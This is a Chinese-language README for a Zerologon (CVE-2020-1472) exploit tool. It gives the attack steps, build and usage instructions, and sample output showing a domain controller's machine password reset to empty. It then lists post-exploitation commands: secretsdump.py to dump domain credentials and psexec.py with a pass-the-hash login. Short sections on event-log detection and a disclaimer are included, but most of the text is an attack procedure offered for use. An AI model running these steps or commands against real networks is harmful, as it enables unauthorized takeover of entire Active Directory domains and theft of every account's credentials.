该项目实现了 Zerologon 漏洞 (CVE-2020-1472),这是最严重的 Active Directory 安全漏洞之一。该漏洞允许未经身份验证的攻击者通过重置域控制器的机器账户密码,从而破坏整个 Active Directory 域。
Zerologon 是 Microsoft 的 Netlogon 远程协议 (MS-NRPC) 中的一个加密缺陷。该漏洞存在于 Netlogon 使用 AES-CFB8 加密并采用硬编码的零初始化向量 (IV) 的方式中。
技术摘要:
1. 目标选择
└─> 识别域控制器(FQDN、NetBIOS 名称、机器账户)
2. 挑战阶段 (I_NetServerReqChallenge)
└─> 发送全零客户端挑战 (0x0000000000000000)
└─> 接收服务器挑战
3. 身份验证阶段 (I_NetServerAuthenticate2)
└─> 使用空凭证尝试身份验证
└─> 重复直到成功(每次尝试成功率约 1/256)
4. 密码重置阶段 (I_NetServerPasswordSet2)
└─> 将 DC 机器账户密码重置为空
└─> 新 NT 哈希:31d6cfe0d16ae931b73c59d7e0c089c0(空密码)
5. 后渗透
└─> 使用空凭证进行哈希传递
└─> 完全控制域
使用 Visual Studio:
1. 打开 Visual Studio
2. 从 **生成** 菜单中选择 **生成解决方案**。
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
示例:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN:目标域控制器的完全限定域名DC_NetBIOS_Name:域控制器的 NetBIOS 名称(通常是主机名)Machine_Account_Name:机器账户名称(必须以 $ 结尾)成功利用:
[+] 正在定位域控制器:
FQDN : DC01.corp.example.com
NetBIOS 名称 : DC01
机器账户 : DC01$
[+] 成功:机器账户密码已重置为空!
[+] 现在使用哈希传递:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] 然后运行:secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
利用失败(已修补系统):
[-] 2000 次尝试后攻击失败。目标可能已修补。
成功重置 DC 密码后,您可以:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
基于网络的检测:
基于日志的检测:
事件查看器 → Windows 日志 → 系统
- 事件 ID 5827:多次密码验证失败
- 事件 ID 5829:安全通道重置
SIEM 查询:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
此工具仅供 教育和授权的安全研究目的 使用。
作者对误用此代码不承担任何责任。
该项目采用 MIT 许可证。更多信息,请参阅 LICENSE 文件。